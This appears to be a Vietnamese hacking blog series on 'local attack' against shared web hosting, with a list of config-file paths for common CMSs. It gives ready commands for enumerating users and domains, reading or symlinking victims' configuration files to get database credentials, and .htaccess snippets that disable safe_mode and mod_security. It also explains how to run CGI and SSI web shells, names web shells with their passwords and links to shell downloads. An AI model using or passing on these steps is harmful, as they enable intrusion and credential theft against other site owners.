Free share all

san

<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6IBXbiYViDYGxC6RsSDBwaR9ApnskACgk9lHgX2I3krWUZScaaZzeOJ-HogzWI_0ovgPqq4GnJW01EuL-rz_0FpSb5RfOGFEvTKvflt-NTDGPLBy9toB6eSgbYLMtcc27WtcJj1tdh9sD/s1600/localattack.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6IBXbiYViDYGxC6RsSDBwaR9ApnskACgk9lHgX2I3krWUZScaaZzeOJ-HogzWI_0ovgPqq4GnJW01EuL-rz_0FpSb5RfOGFEvTKvflt-NTDGPLBy9toB6eSgbYLMtcc27WtcJj1tdh9sD/s1600/localattack.jpg" /></a></div>
 
 
Vbulletin: public_html/includes/config.php PHPBB: public_html/config.php Joomla: public_html/configuration.php WordPress: public_html/wp-config.php ibp: public_html/conf_global.php php-fusion: public_html/config.php Smf: public_html/Settings.php phpnuke: public_html/html/config.php Xoops: public_html/mainfile.php ZenCart: public_html/includes/configure.php setidio: public_html/datas/config.php Discuz: public_html/config/config_ucenter.php Bo-Blog: public_html/data/config.php Nukeviet: public_html/config.php 
Drupal: public_html/sites/default/settings.php 
Textpattern: public_html/textpattern/config.php 
Serendipity: public_html/serendipity_config_local.inc.php Pligg CMS: public_html/libs/dbconnect.php 
Pivotx: public_html/pivotx/includes/minify/config.php

Path file config một số code

Vbulletin: public_html/includes/config.php PHPBB: public_html/config.php Joomla: public_html/configuration.php WordPress: public_html/w...

Đọc thêm »

san

<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjquAt1itQysoHYAXV8uGhC8X7zGw0owdG1WFYCvhfpT0JeiZujq79Nb42-CBbKubu4u8p_WRcGYNYEbEUZj6Q8AqH4ZLwAW2Yb7u5ieX1DUy8b7rTy0dVletY9gGkboI5d102ojisoWawu/s1600/index.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjquAt1itQysoHYAXV8uGhC8X7zGw0owdG1WFYCvhfpT0JeiZujq79Nb42-CBbKubu4u8p_WRcGYNYEbEUZj6Q8AqH4ZLwAW2Yb7u5ieX1DUy8b7rTy0dVletY9gGkboI5d102ojisoWawu/s1600/index.jpg" /></a></div>
 
 
 1. Xem tên domain trên cùng 1 host 
<blockquote class="tr_bq">
ls -la /etc/valiases 
cd /etc/vdomainaliases;ls -lia</blockquote>
 
- Trường hợp đặc biết khi không thể xem user nằm cùng host thì thêm && vào 
<blockquote class="tr_bq">
cd /etc/vdomainaliases && ls -lia</blockquote>
2. Xem tên user 
<blockquote class="tr_bq">
cat /etc/passwd 
less /etc/passwd 
more /etc/passwd</blockquote>
<blockquote class="tr_bq">
tail /etc/passwd 
rev /etc/passwd 
tac /etc/passwd </blockquote>
 
- Ngoài ra ta có thể dùng lệnh sau để xem user 
 
+ Với cpanel 
<blockquote class="tr_bq">
 ls -la /etc/valiases/domain.com</blockquote>
Thay domain.com bằng tên miền của site bạn muốn xem user 
ví dụ:  
<blockquote class="tr_bq">
ls -la /etc/valiases/quylevhb.com</blockquote>
 
+ Với Directadmin 
<blockquote class="tr_bq">
 cat /etc/virtual/domainowners</blockquote>
 - Còn rất nhiều cách để tìm user của victim như xem error log … 
<blockquote>
<div style="text-align: left;">
tail -n 10000 /var/log/httpd/domains/domain.com.error.log</div>
<div style="text-align: left;">
cat /usr/local/apache/logs/error_log | grep “domain.com” >>”user.txt”</div>
</blockquote>
<div style="text-align: left;">
* Đối với nginx</div>
<blockquote>
<div style="text-align: left;">
cat /var/log/nginx/error_log</div>
</blockquote>
<div style="text-align: left;">
Hoặc</div>
<blockquote>
<div style="text-align: left;">
cat /var/log/nginx/domain.com.error.log</div>
</blockquote>
 
 
3. Local sang victim 
<blockquote class="tr_bq">
dir /path</blockquote>
 Path: là đường dẫn đến thư mục cần xem 
ví dụ: 
<blockquote class="tr_bq">
dir /home/quylevhb/public_html</blockquote>
 
4. Xem nội dung file 
<blockquote class="tr_bq">
cat /path/tên-file.php</blockquote>
ví dụ: 
<blockquote class="tr_bq">
cat /home/quylevhb/public_html/config.php</blockquote>
 
5. Symlink 
<blockquote class="tr_bq">
ln -s /path/tên-file quylevhb.txt</blockquote>
ví dụ: 
<blockquote class="tr_bq">
ln -s /home/quylevhb/public_html/config.php quylevhb.txt</blockquote>
 
6. Một số lệnh khác 
<blockquote class="tr_bq">
- mkdir:  Tạo thư mục 
- touch: tạo file 
- cp: copy file 
- mv: di chuyển file hoặc thư mục 
- rm: Xóa file 
- rmdir: xóa thư mục</blockquote>

Một số lệnh thông dụng trong local attack

1. Xem tên domain trên cùng 1 host ls -la /etc/valiases cd /etc/vdomainaliases;ls -lia - Trường hợp đặc biết khi không thể xem ...

Đọc thêm »

san

<h2 style="font-family: 'Open Sans', serif, sans-serif; font-size: 13px; font-stretch: normal; font-weight: normal; margin: 0px;">
Symlink</h2>
1. Symlink là gì ? Mọi người có thể hiểu như thế này symlink là tạo 1 file (thư mục) ánh xạ tới một file (thư mục) khác. Hay nói đơn giản và dễ hiểu hơn nó tương tự như shortcut trên window :) 2. Vậy symlink để làm gì ? Mục đich của symlink là xem file config của victim trong local attack trong trường hợp dir, cat không sử dụng được 3. Công cụ cần thiết Rất đơn giản là 1 con shell trên 1 site nào đó cùng server với victim :) 4. Cách symlink Ở đây mình sẽ phân ra hai trường hợp: a. Safe mod = off Trường hợp này bạn chỉ cần 1 con shell có thể run được lệnh, mình thường dùng shell r57 :D Câu lệnh symlink: 
<blockquote class="tr_bq" style="font-family: 'Georgia Serif'; font-size: small;">
ln -s /path/config.php 1.txt</blockquote>
 path: đường dẫn đến file config của victim config.php là file config của victim b. Safe mod = on Trường hợp này ta có thể tìm cách bypass để hạ về off Các bạn có thể tạo file php.ini ngang hàng con shell với nội dung sau: 
<blockquote class="tr_bq" style="font-family: 'Georgia Serif'; font-size: small;">
safe_mode = OFF disable_functions = NONE</blockquote>
 Ngoài ra có thể dùng tính năng bypass có sẵn trên shell Một số cách pypass khác - Bypass mod security bằng htaccess 
<blockquote class="tr_bq" style="font-family: 'Georgia Serif'; font-size: small;">
<IfModule mod_security.c> SecFilterEngine Off SecFilterScanPOST Off </IfModule></blockquote>
 - htaccess hỗ trợ symlink root 
<blockquote class="tr_bq" style="font-family: 'Georgia Serif'; font-size: small;">
Options All Options +FollowSymLinks +Indexes DirectoryIndex default.html AddType text/html php</blockquote>
 Trường hợp không pypass được thì ta cần sử dụng shell CGI đặc điểm của con shell này là có thể run lệnh ngay khi safe mod = on Để chạy được shell cgi các bạn tạo file htaccess ngang hàng con shell với nội dung sau: 
<blockquote class="tr_bq" style="font-family: 'Georgia Serif'; font-size: small;">
RewriteEngine On RewriteBase / RewriteEngine on RewriteCond %{HTTP_USER_AGENT} ^Googlebot RewriteRule ^(.*)$ http://google.com.vn#$1 [R=301,L] <IfModule mod_security.c>     SecFilterEngine Off     SecFilterSanPOST Off </IfModule> Options +ExecCGI AddHandler cgi-script cgi pl noob vl dcm bmp db file kid was h4 cbg Options +FollowSymLinks +Indexes DirectoryIndex noob.html</blockquote>
 Trong này có cả pypass mod security luôn nhóe :)) Rồi giờ chmod con shell cgi về 0755 và run shell và chạy lệnh symlink thôi Tuy nhiên một số trường hợp đã có htaccess mà vẫn không run được thì các bạn đừng ngạc nhiên vì đơn giản server đó không cho chạy cgi =)) * Sau khi symlink nếu đọc file txt bị báo lỗi 403 thì các bạn tạo file htaccess ngang hàng file txt đó với nội dung như sau thì sẽ đọc được 
<blockquote style="font-family: 'Georgia Serif'; font-size: small;">
Options All Options +FollowSymLinks +Indexes DirectoryIndex default.html AddType text/html php</blockquote>
 * Đường dẫn file config của một số mã nguồn (Nếu thèng ad nó chưa đổi :D ) 
<blockquote class="tr_bq" style="font-family: 'Georgia Serif'; font-size: small;">
Vbulletin: public_html/includes/config.php PHPBB: public_html/config.php Joomla: public_html/configuration.php WordPress: public_html/wp-config.php ibp: public_html/conf_global.php php-fusion: public_html/config.php Smf: public_html/Settings.php phpnuke: public_html/html/config.php Xoops: public_html/mainfile.php ZenCart: public_html/includes/configure.php setidio: public_html/datas/config.php Discuz: public_html/config/config_ucenter.php Bo-Blog: public_html/data/config.php Nukeviet: public_html/config.php</blockquote>
 Trên đây chỉ là cách symlink đơn giản còn trên thực tế thì rất chi là muôn hình vạn trạng các bạn có thể google để tìm hiểu thêm nhóe :D =============================== 
<h2 style="font-family: 'Open Sans', serif, sans-serif; font-size: 13px; font-stretch: normal; font-weight: normal; margin: 0px;">
SSI</h2>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8RW3EMR2YL_rLBbpP_aKtTee7VZi8t8uroSF8IVpVioh_S1fAnm8N0U4HVa1p8Z9DOnXXdPeuxkCSlibYx59z4KbsI2yvMHzLfqnanQjnEe4JcMUdYaoJ4ryGzlW1AdvWkwONPPkZIOU-/s1600/ssi.png" imageanchor="1" style="color: #999999; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" height="215" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8RW3EMR2YL_rLBbpP_aKtTee7VZi8t8uroSF8IVpVioh_S1fAnm8N0U4HVa1p8Z9DOnXXdPeuxkCSlibYx59z4KbsI2yvMHzLfqnanQjnEe4JcMUdYaoJ4ryGzlW1AdvWkwONPPkZIOU-/s1600/ssi.png" style="-webkit-transition: all 0.4s ease-in-out; border-width: 0px; height: auto; max-width: 100%; transition: all 0.4s ease-in-out;" width="320" /></a></div>
<h2 style="font-family: 'Open Sans', serif, sans-serif; font-size: 13px; font-stretch: normal; font-weight: normal; margin: 0px;">
</h2>
Tiếp theo mình sẽ giới thiếu tới các bạn con shell ssi. Trong trường hợp dir, cat... cgi không dùng được thì bạn có thể dùng shell ssi để run lệnh :D Để biết server đó có có chạy được ssi hay không thì các bạn chạy như sau 
<blockquote class="tr_bq" style="font-family: 'Georgia Serif'; font-size: small;">
ip/~user/path/ssi.shtml</blockquote>
 ip: địa chỉ IP của server user: user của site chứa con shell path: đường dẫn đến con shell ssi.shtml: shell ssi ví dụ trên server 141.101.116.63 mình có con shell nằm trong thư mục upload của site thegioingam.org và site này có user là thegioingam thì sẽ run như sau 
<blockquote class="tr_bq" style="font-family: 'Georgia Serif'; font-size: small;">
141.101.116.63/~thegioingam/upload/ssi.shtml</blockquote>
 Nếu run được thì nó sẽ hiện ra con shell còn không thì bye bye =)) ============== 
<h2 style="font-family: 'Open Sans', serif, sans-serif; font-size: 13px; font-stretch: normal; font-weight: normal; margin: 0px;">
Phương pháp thay thế</h2>
1. Thay thế lệnh Không biết gọi là gì nữa nên tạm gọi là như vậy =)) Đơn giản là như thế này các lệnh mà ta chạy nó được gọi ra từ thư mục bin ở root của server, vậy trong trường hợp không chạy được lệnh thì ta đừng dùng lệnh được gọi từ bin của server nữa mà hãy up lên các lệnh cần dùng cho riêng ta :)) Tuy nhiên không phải server nào cũng được nhé các bạn Ở thư mục bin trong file đính kèm mình đã gộp sẵ 1 số file cần dùng các bạn chỉ việc up lên thôi Chú ý là dùng lệnh nào thì up file lệnh đó lên ngang hàng con shell chứ không phải là up cả cái bin lên nhóe :) 1 số trường hợp không cho up file kiểu đó thì ta nén zip lại rồi up lên sao đó dùng lệnh unzip để giải nến Sau khi up lên cần chmod 0755 mới chạy được nhé. Lúc này cách chạy lênh của ta sẽ như sau Ví dụ: Bình thường ta chạy 
<blockquote class="tr_bq" style="font-family: 'Georgia Serif'; font-size: small;">
cat /etc/passwd</blockquote>
 Không hiện ra gì cả => ta up file cat của ta lên và chạy 
<blockquote class="tr_bq" style="font-family: 'Georgia Serif'; font-size: small;">
./cat /etc/passwd</blockquote>
 Nếu run được thì sẽ hiện ra list user còn không thì tức là server không cho phép hoặc là bạn chưa chmod file cat về 0755 =)) 2. phpmyadmin Đối với directadmin thì đường dẫn tới phpmyadmin sẽ là 
<blockquote style="font-family: 'Georgia Serif'; font-size: small;">
http://domian.com/phpmyadmin</blockquote>
 Tuy nhiên với những thằng không có hay phải vào control panel của host mới vô đc phpmyadmin thì sao ? Ta đã lấy được file config nhưng trong đó nó có ghi pass vào host đâu :( Ta có thể dùng chức năng connect mysql của con shell tuy nhiên không phải lúc nào nó cũng làm việc Vậy cách đơn giản nhất là ta quăng luôn 1 thư mục phpmyadmin lên và run nó thôi =)) phpmyadmin các ban google để tải nhóe ========================  Tổng hợp 1 số shell local: Pass unrar:  quylevhb SSI shell:  <a href="http://adf.ly/v11OX" rel="nofollow" style="color: #999999; font-family: 'Georgia Serif'; font-size: small; text-decoration: none;" target="_blank">http://adf.ly/v11OX</a> File lệnh để thay:  <a href="http://adf.ly/vqEAs" rel="nofollow" style="color: #999999; font-family: 'Georgia Serif'; font-size: small; text-decoration: none;" target="_blank">http://adf.ly/vqEAs</a> Telnet:  <a href="http://adf.ly/vqEOZ" rel="nofollow" style="color: #999999; font-family: 'Georgia Serif'; font-size: small; text-decoration: none;" target="_blank">http://adf.ly/vqEOZ</a> Shell cgi: <a href="http://adf.ly/vqEWt" rel="nofollow" style="color: #999999; font-family: 'Georgia Serif'; font-size: small; text-decoration: none;" target="_blank">http://adf.ly/vqEWt</a> Shell tổng hợp:  <a href="http://adf.ly/vqEZj" rel="nofollow" style="color: #999999; font-family: 'Georgia Serif'; font-size: small; text-decoration: none;" target="_blank">http://adf.ly/vqEZj</a> PHP Myadmin:  <a href="http://adf.ly/v134t" rel="nofollow" style="color: #999999; font-family: 'Georgia Serif'; font-size: small; text-decoration: none;" target="_blank">http://adf.ly/v134t</a>

Local attack part 3

Symlink 1. Symlink là gì ? Mọi người có thể hiểu như thế này symlink là tạo 1 file (thư mục) ánh xạ tới một file (thư mục) khác. Hay nói đ...

Đọc thêm »

san

Trong chap này mình sẽ giới thiệu khái quát tính năng một số con shell mình hay dùng khi local A. R57 
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
</div>
 
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
</div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
</div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
</div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
</div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
</div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj16uH3HHBeAZgAyvcRgblLlEkaRJZ4fmxiSfUOYPahCf_RXH_U9417Vjz1vOESYuYFIs25kEAoxwNEfPHBZsFfi6nIL43aYII5PurJ2wCtf6Mdk9oZ4sf8aM3zxacx2bireyhwT-r7qqYz/s1600/r57-1.png" imageanchor="1" style="color: #999999; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj16uH3HHBeAZgAyvcRgblLlEkaRJZ4fmxiSfUOYPahCf_RXH_U9417Vjz1vOESYuYFIs25kEAoxwNEfPHBZsFfi6nIL43aYII5PurJ2wCtf6Mdk9oZ4sf8aM3zxacx2bireyhwT-r7qqYz/s1600/r57-1.png" style="-webkit-transition: all 0.4s ease-in-out; border-width: 0px; height: auto; max-width: 100%; transition: all 0.4s ease-in-out;" width="400" /></a></div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
</div>
 
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
</div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKIhndheS5mXuptBUhPLkmtET0n3AjCZY6nq2EKddnRv8pLfl6pSV_W9oLDnVvdB-dy5XEDhuBOIvlw8X0aWuUyaQB0MQHOU5QeAlZjut4514ExBx0nAx5bNzceIJ8VAYaQ2QQiA-exBwc/s1600/r57-2.png" imageanchor="1" style="color: #999999; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" height="151" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKIhndheS5mXuptBUhPLkmtET0n3AjCZY6nq2EKddnRv8pLfl6pSV_W9oLDnVvdB-dy5XEDhuBOIvlw8X0aWuUyaQB0MQHOU5QeAlZjut4514ExBx0nAx5bNzceIJ8VAYaQ2QQiA-exBwc/s1600/r57-2.png" style="-webkit-transition: all 0.4s ease-in-out; border-width: 0px; height: auto; max-width: 100%; transition: all 0.4s ease-in-out;" width="400" /></a></div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
</div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
</div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
</div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYh8XMJp3vY8si5eLIRjPf48i6zNMaVWOzDIH1zQv1BCLSC-0l9jyldobM7viPhi1TaJJLEKc5RAsaarxyj6INf9IQb2T32gHM-pD7J8E92Ss6OezM_tQxCiprxrYFLWOHbYy13qbgoB2Q/s1600/r57-3.png" imageanchor="1" style="color: #999999; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" height="168" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYh8XMJp3vY8si5eLIRjPf48i6zNMaVWOzDIH1zQv1BCLSC-0l9jyldobM7viPhi1TaJJLEKc5RAsaarxyj6INf9IQb2T32gHM-pD7J8E92Ss6OezM_tQxCiprxrYFLWOHbYy13qbgoB2Q/s1600/r57-3.png" style="-webkit-transition: all 0.4s ease-in-out; border-width: 0px; height: auto; max-width: 100%; transition: all 0.4s ease-in-out;" width="400" /></a></div>
 1- Thông tin server: hệ điều hành, user, phiên bản php, mysql.... 2. Khung hiển thị 3. Khung gõ lệnh 4. Phần để upload file lên 5. up và tải file qua ftp 6. Gửi email 7. Kết nối cơ sở dữ liệu B. C99 
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgG93jFmg-pWVKz9LtvPwM4mWhCPdWSkYz-1QoAkZp6b8A-Uu8fPXcmt51nbL_qAPMrHuGOlejuCEU0W2D02BUA07kICuH0V7retF1l2OYaZtiQHXwcXeAgZCpVtBn4tGVD1hZrYkEj2zy_/s1600/c99-1.png" imageanchor="1" style="color: #999999; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgG93jFmg-pWVKz9LtvPwM4mWhCPdWSkYz-1QoAkZp6b8A-Uu8fPXcmt51nbL_qAPMrHuGOlejuCEU0W2D02BUA07kICuH0V7retF1l2OYaZtiQHXwcXeAgZCpVtBn4tGVD1hZrYkEj2zy_/s1600/c99-1.png" style="-webkit-transition: all 0.4s ease-in-out; border-width: 0px; height: auto; max-width: 100%; transition: all 0.4s ease-in-out;" width="400" /> </a></div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
 </div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIheH81d5LxFs2Z2SDxoNa6qQPFC-Vja2siw9WuQW2kNkaLKEQbHuE9lTF4Kd4rNr3YkeBi05TKnCepx9nDxerreD9QLjSGhxR7-vT_0Ez6JxlYdjI3QawGqHQUVPIhXaYdmLg6awbjmet/s1600/c99-2.png" imageanchor="1" style="color: #999999; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIheH81d5LxFs2Z2SDxoNa6qQPFC-Vja2siw9WuQW2kNkaLKEQbHuE9lTF4Kd4rNr3YkeBi05TKnCepx9nDxerreD9QLjSGhxR7-vT_0Ez6JxlYdjI3QawGqHQUVPIhXaYdmLg6awbjmet/s1600/c99-2.png" style="-webkit-transition: all 0.4s ease-in-out; border-width: 0px; height: auto; max-width: 100%; transition: all 0.4s ease-in-out;" width="400" /></a></div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
 </div>
 C. Web admin Con shell này rất đơn giản, nó cỉ có chức năng upload và di chuyển qua lại giữa các thư mục. Tuy chức năng của nó đơn giản nhưng lại rất tiện lợi đấy nhé :D 
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhI-ueXC1EU1SDYQFxVqU3I9_zxG1Tg3isz9uxDVEDkfDjT41UQo1LXfLQeoR3VD2Qb2rjs3w_1blztQeR4NptudO_D6FUVqddx042WZU3Kn44ejERjXZPfhFERsXtLjpYSLqSeMd904xxG/s1600/webadmin.png" imageanchor="1" style="color: #999999; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhI-ueXC1EU1SDYQFxVqU3I9_zxG1Tg3isz9uxDVEDkfDjT41UQo1LXfLQeoR3VD2Qb2rjs3w_1blztQeR4NptudO_D6FUVqddx042WZU3Kn44ejERjXZPfhFERsXtLjpYSLqSeMd904xxG/s1600/webadmin.png" style="-webkit-transition: all 0.4s ease-in-out; border-width: 0px; height: auto; max-width: 100%; transition: all 0.4s ease-in-out;" width="268" /></a></div>
 D. SSI shell Con shell này dùng trong trường hợp shell php không có tác dụng, không chạy được cgi, telnet 
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwN26ZEEAIxqKlF1cTpjtNcuB1ZaztVARyljQrXFydO_EiL4Fzaz6MAVsgDBwL7HDT4WxXe2OK0uN8png8yTJuQ39d96DR-NGTj7HMXHsgZBRCTBJXXbU0nFNRbsAXXQwCT09jJghgxq7q/s1600/ssi-1.png" imageanchor="1" style="color: #999999; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" height="257" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwN26ZEEAIxqKlF1cTpjtNcuB1ZaztVARyljQrXFydO_EiL4Fzaz6MAVsgDBwL7HDT4WxXe2OK0uN8png8yTJuQ39d96DR-NGTj7HMXHsgZBRCTBJXXbU0nFNRbsAXXQwCT09jJghgxq7q/s1600/ssi-1.png" style="-webkit-transition: all 0.4s ease-in-out; border-width: 0px; height: auto; max-width: 100%; transition: all 0.4s ease-in-out;" width="400" /> </a></div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
 </div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiadDXmDZen65XqRYTF__uQ09J4sgcLKK1cyebtKrVaQzPB7rihg-C8bhjoEZRa0TR5dlyAQqGOjvIATA8G95SEUs2LeUJ9DMv2CxufUzccIjAyLn-5QbzTHGB9CSVhZi1sjEpOYTHfKPZ/s1600/ssi-2.png" imageanchor="1" style="color: #999999; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" height="176" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiadDXmDZen65XqRYTF__uQ09J4sgcLKK1cyebtKrVaQzPB7rihg-C8bhjoEZRa0TR5dlyAQqGOjvIATA8G95SEUs2LeUJ9DMv2CxufUzccIjAyLn-5QbzTHGB9CSVhZi1sjEpOYTHfKPZ/s1600/ssi-2.png" style="-webkit-transition: all 0.4s ease-in-out; border-width: 0px; height: auto; max-width: 100%; transition: all 0.4s ease-in-out;" width="400" /></a></div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
 </div>
E. BYG Con shell khá nổi tiếng và được dùng rất rộng rãi với nhiều tính năng. Pass login:  byg 
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlqVrRkgOmO_rM9RFhivNs9YJSq4saknacTiEbUuO3ay4xcnMXqItWNcbWXDWRwez3Qo7T7HExqAqTLnMm17SycfdFokpIMPBwMKI-ijwWSJ2DOl61KqAJhmY_eKGYgWfC7asUMBpG15_9/s1600/byg.png" imageanchor="1" style="color: #999999; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" height="277" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlqVrRkgOmO_rM9RFhivNs9YJSq4saknacTiEbUuO3ay4xcnMXqItWNcbWXDWRwez3Qo7T7HExqAqTLnMm17SycfdFokpIMPBwMKI-ijwWSJ2DOl61KqAJhmY_eKGYgWfC7asUMBpG15_9/s1600/byg.png" style="-webkit-transition: all 0.4s ease-in-out; border-width: 0px; height: auto; max-width: 100%; transition: all 0.4s ease-in-out;" width="400" /></a></div>
 F. soleil.pin  Nếu Server Safe_mod: ON,  cả shell r57 và c99 đều không có chức năng run command để thực thi các câu lệnh, vậy làm sao có thể local được.  Giải pháp được nghĩ đến là sử dụng shell cgi mà chức năng chính của nó là thực thi các câu lệnh.  
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNf3yW9Sn1cGdHr842MKF7crjkGYcWylqcuV2B_hVrVJKb853GDa454_cf_cImjAi6USg9Dfs1ohLF1YkYsJ_MzFN18HbYW1G9CBgTtrgKov7UV9ydyo-XQMMZmDb7SahnmY3jnDafMlBn/s1600/4.png" imageanchor="1" style="color: #999999; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" height="157" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNf3yW9Sn1cGdHr842MKF7crjkGYcWylqcuV2B_hVrVJKb853GDa454_cf_cImjAi6USg9Dfs1ohLF1YkYsJ_MzFN18HbYW1G9CBgTtrgKov7UV9ydyo-XQMMZmDb7SahnmY3jnDafMlBn/s1600/4.png" style="-webkit-transition: all 0.4s ease-in-out; border-width: 0px; height: auto; max-width: 100%; transition: all 0.4s ease-in-out;" width="400" /></a></div>
  Pass login: ducdung.08clc Cách sử dụng: -          Up shell soleil.pin và chmod nó về 755 -          Up hoặc tạo file .htaccess có nội dung: 
<blockquote class="tr_bq" style="font-family: 'Georgia Serif'; font-size: small;">
    ## START ##     Options +ExecCGI     AddHandler cgi-script cgi pl cgi gmc pin jpg     RewriteEngine on     RewriteRule (.*)\.mil$ $1.cgi     Options +FollowSymLinks     DirectoryIndex cmd.html     Options +Indexes     RemoveHandler .hack     AddType text/plain .hack     ## milw0rmvn exploit ##</blockquote>
 Hoặc: 
<blockquote class="tr_bq" style="font-family: 'Georgia Serif'; font-size: small;">
    Options FollowSymLinks MultiViews Indexes ExecCGI     AddType application/x-httpd-cgi .cin     AddHandler cgi-script .pin     AddHandler cgi-script .pin</blockquote>
 G. telnet.pl Chức năng hoàn toàn tương tự với con shell soleil.pin Tuy nhiên cách thức sử dụng nó thì đơn giản hơn nhiều vì không phải sử dụng đến file .htaccess mà chỉ cần chmod nó về 755 là run ngon. 
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjctdNnvEBKhjf0A2-TS9Q_6nbHdYs2hMlG8rPZ005SP2am-Jo7LOOzuLGQpfsrvJ-NPgGxBojv8a3OBDuG5oBN-SNKniNwuCZJripP-kd3Sr5Lp9x_t0WifbHUSRCYA4C0FKXmtZA4qrem/s1600/5.png" imageanchor="1" style="color: #999999; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" height="137" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjctdNnvEBKhjf0A2-TS9Q_6nbHdYs2hMlG8rPZ005SP2am-Jo7LOOzuLGQpfsrvJ-NPgGxBojv8a3OBDuG5oBN-SNKniNwuCZJripP-kd3Sr5Lp9x_t0WifbHUSRCYA4C0FKXmtZA4qrem/s1600/5.png" style="-webkit-transition: all 0.4s ease-in-out; border-width: 0px; height: auto; max-width: 100%; transition: all 0.4s ease-in-out;" width="400" /> </a></div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
 </div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
 </div>
H. Priv8 
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
